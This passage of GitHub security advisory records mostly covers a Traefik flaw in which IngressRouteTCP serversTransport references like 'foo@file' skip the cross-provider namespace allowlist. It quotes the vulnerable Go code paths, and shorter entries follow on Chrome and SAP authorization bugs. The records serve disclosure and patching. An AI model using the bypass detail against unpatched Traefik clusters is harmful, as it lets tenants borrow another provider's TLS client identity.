IngressRouteTCP\n\n`pkg/provider/kubernetes/crd/kubernetes.go:60`\n\n```go\nCrossProviderNamespaces []string `description:\"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references.\" ...`\n```\n\nThis establishes the security invariant: `IngressRouteTCP` cross-provider\nreferences should be gated by `crossProviderNamespaces`.\n\n### 2. TCP service creation forwards the attacker-controlled transport name\n\n`pkg/provider/kubernetes/crd/kubernetes_tcp.go:183-185`\n\n```go\nif service.ServersTransport != \"\" {\n\ttcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport)\n}\n```\n\nThe attacker-controlled `serversTransport` field is passed into the key builder.\n\n### 3. TCP key builder returns cross-provider names without the allowlist check\n\n`pkg/provider/kubernetes/crd/kubernetes_tcp.go:321-322`\n\n```go\nif strings.Contains(serversTransportName, providerNamespaceSeparator) {\n\treturn serversTransportName, nil\n}\n```\n\nThis accepts `foo@file` directly. There is no call to\n`isCrossProviderNamespaceAllowed(...)` on this TCP path.\n\n### 4. HTTP sibling contains the missing authorization gate\n\n`pkg/provider/kubernetes/crd/kubernetes_http.go:507-508`\n\n```go\nif !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) {\n\treturn \"\", fmt.Errorf(\"serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces\", ...)\n}\n```\n\nThe HTTP path proves the intended policy: cross-provider `serversTransport`\nreferences should be rejected when the route namespace is not in the allowlist.\n\n### 5. Runtime TCP dialer consumes the exact referenced transport\n\n`pkg/tcp/dialer.go:135-141`\n\n```go\nif config.ServersTransport != \"\" {\n\tname = config.ServersTransport\n}\nst, ok := d.serversTransports[name]\n```\n\n`pkg/tcp/dialer.go:183-188`\n\n```go\ntlsConfig = \u0026tls.Config{\n\tServerName:   st.TLS.ServerName,\n\tCertificates: st.TLS.Certificates.GetCertificates(),\n}\n```\n\nThe accepted `foo@file` reference is not a harmless string. It selects the\ncross-provider transport and applies its client TLS identity during backend\nconnections.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-42cj-m3vj-89wv",
  "modified": "2026-08-05T21:53:35Z",
  "published": "2026-08-05T21:53:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-42cj-m3vj-89wv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65602"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13458"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/67501cbe7bc7774e26ecbd1c29af97f098e14b0b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.23"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/traefik-before-ingressroutetcp-serverstransport-namespace-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik CRD IngressRouteTCP ServersTransport Cross-Provider Namespace Bypass"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-38020"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-23T01:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient policy enforcement in contacts picker in Google Chrome on Android prior to 96.0.4664.45 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page.",
  "id": "GHSA-42h3-v289-hvw9",
  "modified": "2022-07-13T00:01:34Z",
  "published": "2021-12-24T00:00:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38020"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2021/11/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/1259694"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3W46HRT2UVHWSLZB6JZHQF6JNQWKV744"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2022/dsa-5046"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-40309"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-12T03:15:12Z",
    "severity": "CRITICAL"
  },
  "details": "SAP CommonCryptoLib does not perform necessary authentication checks, which may result in missing or wrong authorization checks for an authenticated user, resulting in escalation of privileges. Depending on the application and the level of privileges acquired,\u00a0an attacker could abuse functionality restricted to a particular user group as well as read, modify or delete restricted data.\n\n",
  "id": "GHSA-42qx-rv8j-r8f3",
  "modified": "2024-09-29T00:30:57Z",
  "published": "2023-09-15T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40309"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3340576"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}